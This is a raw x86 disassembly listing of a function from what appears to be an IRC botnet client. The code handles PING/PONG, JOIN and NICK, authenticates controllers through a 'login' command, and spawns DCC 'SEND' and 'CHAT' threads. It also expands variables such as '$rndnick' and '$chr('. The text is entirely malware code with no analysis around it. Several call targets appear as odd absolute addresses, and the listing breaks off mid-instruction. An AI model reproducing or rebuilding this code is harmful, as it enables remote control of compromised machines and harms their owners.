var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42D128 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42D124 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42D120 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2D mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E1 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E1 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08E add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2D loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42D0B4 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2D lea eax, [ebp+var_2C4] push eax call sub_4151AD add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2D loc_401E91: ; CODE XREF: sub_401ACD+253Cj ; sub_401ACD+2559j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A62j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A84j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C36j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A73 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42D060 loc_402077: ; CODE XREF: sub_401ACD+28CDj ; sub_401ACD+2C4Dj ... call sub_415221 loc_40207C: ; CODE XREF: sub_401ACD+1BE2j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B70j pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42D03C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AD push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42D028 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409855 cmp dword_429088, ebx jz loc_409855 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42D020 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42CFE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BD push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BD push 32h nop call near ptr 2680000h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42CFE0 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42CFD4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CB508 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42CFB8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42CFB0 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42CF98 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7853j nop call near ptr 2680ABEh push eax push offset unk_42CF5C jmp loc_4083AE ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CF18 loc_40240A: ; CODE XREF: sub_401ACD+7E2Aj ; sub_401ACD+7E91j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BD ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33F test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CEF0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F7 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset word_415C5A push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BD push 32h nop call near ptr 2680000h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj call near ptr 2680ABEh nop push eax push offset unk_42CEB8 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42CE88 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42CE54 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] push edi push offset aLogin ; "login" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985D push edi push offset asc_42CE50 ; "l" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985D cmp [ebp+var_A4], ebx jnz short loc_4025BE push [ebp+var_8C] push offset dword_42D028 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409855 loc_4025BE: ; CODE XREF: sub_401ACD+AD5j cmp [ebp+arg_28], ebx jnz loc_409855 xor edi, edi cmp dword_4294D0, ebx jle loc_402773 mov [ebp+arg_20], offset dword_43D810 loc_4025DC: ; CODE XREF: sub_401ACD+B2Ej push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402602 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294D0 jl short loc_4025DC jmp loc_402773 ; --------------------------------------------------------------------------- loc_402602: ; CODE XREF: sub_401ACD+B1Ej push offset asc_42D128 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D828[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402657: ; CODE XREF: sub_401ACD+C3Bj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C3 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C3 lea eax, dword_43D810[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FE mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FE push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEF add esp, 0Ch jmp short loc_4026FE ; --------------------------------------------------------------------------- loc_4026C3: ; CODE XREF: sub_401ACD+BB2j ; sub_401ACD+BB9j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FE lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEF add esp, 18h loc_4026FE: ; CODE XREF: sub_401ACD+BCBj ; sub_401ACD+BDFj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402657 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271B: ; CODE XREF: sub_401ACD+C9Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275E mov eax, [edi] cmp eax, ebx jz short loc_40275E push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEF add esp, 0Ch loc_40275E: ; CODE XREF: sub_401ACD+C76j ; sub_401ACD+C7Cj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271B mov [ebp+var_2C8], 1 loc_402773: ; CODE XREF: sub_401ACD+B02j ; sub_401ACD+B30j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278C cmp [ebp+var_2C8], ebx jz loc_40297D loc_40278C: ; CODE XREF: sub_401ACD+CB1j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEF lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEF push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEF push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08E push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEF add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEF mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FE: ; CODE XREF: sub_401ACD+E29j test eax, eax jz loc_4028FB push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42CE10 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40284A cmp [ebp+var_A0], 39h jle short loc_402860 loc_40284A: ; CODE XREF: sub_401ACD+D72j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_402860: ; CODE XREF: sub_401ACD+D7Bj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402886 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_40289A ; --------------------------------------------------------------------------- loc_402886: ; CODE XREF: sub_401ACD+DA2j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40289A: ; CODE XREF: sub_401ACD+DB7j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEF push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FE ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_401ACD+D33j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call 